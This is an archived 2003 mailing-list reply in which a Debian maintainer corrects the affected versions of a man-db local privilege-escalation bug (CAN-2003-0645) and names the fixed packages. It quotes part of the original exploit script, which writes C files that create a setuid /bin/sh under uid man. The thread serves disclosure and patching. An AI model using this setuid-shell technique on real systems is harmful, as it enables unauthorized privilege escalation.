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Re: man-db[v2.4.1-]: open_cat_stream() privileged call exploit.
From: Colin Watson <cjwatson () debian org>
Date: Fri, 08 Aug 2003 11:19:07 +0100

In article <20030806082358.2564.qmail () www securityfocus com>, Vade 79 wrote:
# man-db[v2.4.1-]: local uid=man exploit.

Correction: 2.3.12 (a beta release) and 2.3.18 to 2.4.1.

echo "[*] making runme, and mansh source files..."
cat <<EOF>runme.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main(int argc,char **argv){
setreuid(geteuid(),geteuid());
system("cc ${TMPDIR}/mansh.c -o ${TMPDIR}/mansh");
chmod("${TMPDIR}/mansh",S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
unlink(argv[0]);
exit(0);
}
EOF
cat <<EOF>mansh.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
setreuid(geteuid(),geteuid());
execl("/bin/sh","sh",0);
exit(0);
}
EOF

It can be done with a lot less effort and in about a tenth of the space
without resorting to compiled code, but I'll leave that as an exercise
for the reader ... :-)

Anyway, Debian man-db 2.3.20-18.woody.2 (stable) and 2.4.1-12 (unstable)
fix this. I'm working to release 2.4.2 as well. This is CAN-2003-0645.

-- 
Colin Watson                                       [cjwatson () debian org]


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